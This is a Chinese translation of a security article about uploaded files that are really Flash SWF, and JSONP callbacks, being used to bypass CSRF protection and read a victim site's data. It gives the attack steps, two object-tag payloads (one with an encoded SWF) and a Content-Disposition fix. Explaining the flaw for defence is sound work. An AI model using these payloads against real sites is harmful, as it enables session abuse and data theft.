<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/2031

            0x00 背景


            現在很多網站都允許用戶上傳文件,但他們都沒意識到讓用戶(或攻擊者)上傳文件(甚至合法文件)的陷阱。

            什么是合法文件?

            通常,判斷文件是否合法會透過兩個參數:文件后綴(File extension)及Content-Type。

            例如,網站會確保后綴是jpg及Content-Type是image/jpeg以防止惡意文件,對不?

            但一些像Flash的插件程序并不關心后綴及Content-type。假如一個文件被標簽嵌入,它會像Flash一樣執行,只要它的內容像個Flash文件。

            但等等,Flash不是應該只在同域下被嵌入才會執行?亦對亦錯。假如一個Flash文件(或以圖像包裝的Flash文件)在victim.com上傳然后于attacker.com下嵌入,它只能在attacker.com下執行JavaScript。但是,假如該Flash文件發出請求,那么它可以讀取到victim.com下的文件。

            這說明了若不檢查文件內容而直接上傳,攻擊者可以繞過網站的CSRF防御。

            0x01 攻擊


            基于上面我們可以想像一種攻擊場境:

            1. 攻擊者建立一個惡意Flash(SWF)文件  
            2. 攻擊者更改文件副檔名為JPG  
            3. 攻擊者上傳檔案到victim.com  
            4. 攻擊者在attacker.com以標簽及application/x-shockwave-flash類型嵌入該文件  
            5. 受害者瀏覽attacker.com,并以SWF格式載入該文件  
            6. 攻擊者現在可以透過該SWF并以受害者的session向victim.com發出及接收任意請求  
            7. 攻擊者向victim.com發出請求后取得受害者的CSRF token  
            

            payload會像這樣

            <object style="height:1px;width:1px;" data="http://victim.com/user/2292/profilepicture.jpg" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=read&u=http://victim.com/secret_file.txt"></object>   
            

            0x02 修補


            好消息是有一個相對簡單的方法防止該Flash的行為。 Flash若看到文件返回下面的Content-Disposition header就不會執行:

            Content-Disposition: attachment; filename="image.jpg"  
            

            所以若允許上傳或輸出任意數據,網站應該總是檢查內容是否合法而且盡可能返回Content-Disposition header

            0x03 其他用途


            實際上,該攻擊不只限制于文件上傳。該攻擊只要求攻擊者能夠控制域名下的數據(不論Content-Type),因此還有其他實施攻擊的方法。

            其中一種是利用JSONP接口。通常,攻擊者可以透過更改callback參數控制JSONP接口的輸出。然而,攻擊者可以把整個Flash文件的內容作為callback參數,而達到與上載文件無異的攻擊。 Payload會像這樣:

            <object style="height:1px;width:1px;" data="http://victim.com/user/jsonp?callback=CWS%07%0E000x%9C%3D%8D1N%C3%40%10E%DF%AE%8D%BDI%08%29%D3%40%1D%A0%A2%05%09%11%89HiP%22%05D%8BF%8E%0BG%26%1B%D9%8E%117%A0%A2%DC%82%8A%1Br%04X%3B%21S%8C%FE%CC%9B%F9%FF%AA%CB7Jq%AF%7F%ED%F2%2E%F8%01%3E%9E%18p%C9c%9Al%8B%ACzG%F2%DC%BEM%EC%ABdkj%1E%AC%2C%9F%A5%28%B1%EB%89T%C2Jj%29%93%22%DBT7%24%9C%8FH%CBD6%29%A3%0Bx%29%AC%AD%D8%92%FB%1F%5C%07C%AC%7C%80Q%A7Nc%F4b%E8%FA%98%20b%5F%26%1C%9F5%20h%F1%D1g%0F%14%C1%0A%5Ds%8D%8B0Q%A8L%3C%9B6%D4L%BD%5F%A8w%7E%9D%5B%17%F3%2F%5B%DCm%7B%EF%CB%EF%E6%8D%3An%2D%FB%B3%C3%DD%2E%E3d1d%EC%C7%3F6%CD0%09" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=alert&u=http://victim.com/secret_file.txt"></object>
            

            from:?http://blog.detectify.com/post/86298380233/the-pitfalls-of-allowing-file-uploads-on-your-website

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线